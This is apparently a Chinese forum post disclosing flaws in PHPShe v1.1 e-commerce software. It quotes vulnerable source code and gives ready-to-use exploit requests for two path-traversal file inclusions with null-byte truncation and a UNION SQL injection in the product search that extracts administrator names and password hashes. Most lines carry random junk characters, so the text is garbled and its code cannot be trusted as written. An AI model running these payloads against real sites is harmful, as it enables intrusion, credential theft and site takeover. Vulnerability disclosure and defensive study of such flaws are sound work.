phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
% S( X# [- Y# t: X/* ========================
$ t- |9 u- C' V; ~4 n* I; ?/* By: : Kn1f3
! [9 q0 M. V. L. v" M! B/* E-Mail : 681796@qq.com
/*******************************************************/
3 y, o6 i  u. v; B6 A( q6 `8 R0×00 整体大概参数传输

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//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
  n7 J* o" S# l# L1 f0 w}
  M# B1 ~7 X( f1 `% T  uelse {
7 c: v0 I; K6 n# G4 c; x!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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6 D+ Z3 {$ s& M/ n6 B* n//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
- {- U2 C5 s0 S0 |9 ^- xinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
  u/ m1 V- A. s* `& R?>
//common 文件 第15行开始
3 v# g4 `6 A/ G% J7 m  }url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

; f% _& s1 M4 L 0×02 搜索注入
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<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
: }. O; X: D; }3 {6 F% |, E& j" C. G. L$info = $db->pe_select('category', array('category_id'=>$category_id));
) h) K( Z+ s1 n9 l$ m) ]//搜索
$sqlwhere = " and `product_state` = 1";
% v$ f6 U8 m4 S: z% m" rpe_lead('hook/category.hook.php');
: F' ^/ ^3 g! o6 r9 U2 Tif ($category_id) {
  C, @6 o% \- c; u4 F5 Pwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
1 ^$ c; _8 |( J, x2 L; R4 k}
5 P/ s& X& F5 X$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
9 ~9 g: M7 H) m/ s/ i  g( ^) q3 b$orderby = explode('_', $_g_orderby);
& K6 P' c) W" `5 b$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
/ V  ], P, @" G' F0 p1 B5 S}
else {
6 W! Z* v* X. w9 i0 m) a$sqlwhere .= " order by `product_id` desc";
# F0 S3 O- t8 [! }1 W}
  m; I5 a" `1 i/ r7 d) c$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
4 O: o& P% M0 D& _- }# z$product_hotlist = product_hotlist();
, I6 B9 i1 s/ }% l. P% E* T//当前路径
" D1 ^0 Y- N; J! H$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
# ]( B$ a* S! C8 s+ S( l- d{
//处理条件语句
" J# \( |) a- a3 l8 o$sqlwhere = $this->_dowhere($where);
- `  N4 y' c9 i1 r( }& Zreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
  C. D! L6 E9 D/ L% K% }+ I3 e" e) C}
3 X7 e- j9 o: V' \& `9 t7 C" N//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

3 r+ S1 z7 D4 V. X& I' R0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

# s, t8 W/ Q( E+ t$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

+ A' P' S6 O# j5 C7 Lif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

  E6 Y. T1 M; q}

}

/ b- y- U; e* P$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

2 e/ k4 S& {& d3 r# Y0 Mif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

0 M) x8 n/ G0 e& {/ c$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

$ X  I- O/ p# l" d1 q/ }9 R+ ^}

echo '正在为您连接支付网站，请稍后...';

1 T) T6 j  C0 yinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

6 p& P. ?; U" P+ F5 u9 ^- G* N}//当一切准备好的时候就可以进行"鸡肋包含了"

  ?2 m5 W6 c, P  o+ ~else {

3 T$ O- A' W4 n2 Gpe_error('支付错误...');

}

}

4 E, v/ q- n; @6 r$seo = pe_seo('选择支付方式');

/ Q1 E8 ]/ O  l2 M, F: ninclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>